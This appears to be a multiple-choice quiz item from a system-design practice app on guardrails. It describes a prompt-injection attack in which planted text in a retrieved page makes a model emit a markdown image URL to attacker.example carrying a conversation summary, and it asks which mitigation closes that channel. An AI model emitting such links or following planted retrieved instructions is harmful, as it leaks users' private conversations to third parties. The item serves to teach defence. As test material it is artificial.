All Questions
Guardrails And Safety medium

Your chat UI renders model output as markdown. A red-teamer plants text in a retrieved page that makes the model emit ![x](https://attacker.example/p?d=<summary of the conversation>). The user's browser fetches the image and leaks the data. Which mitigation addresses the channel itself?

  1. A Render images only from an allow-listed set of domains or through a proxy, and neutralize other external URLs in the output.
  2. B Add a system prompt rule forbidding the model from placing conversation content inside any URL it generates in a response.
  3. C Require HTTPS for all rendered image URLs so the data in the query string is encrypted in transit and unreadable to attackers.
  4. D Limit each response to one rendered image so the amount of data an attacker can exfiltrate per turn stays very small.

One system design question a day, with spaced repetition so the ones you miss come back.

Get the app

Related questions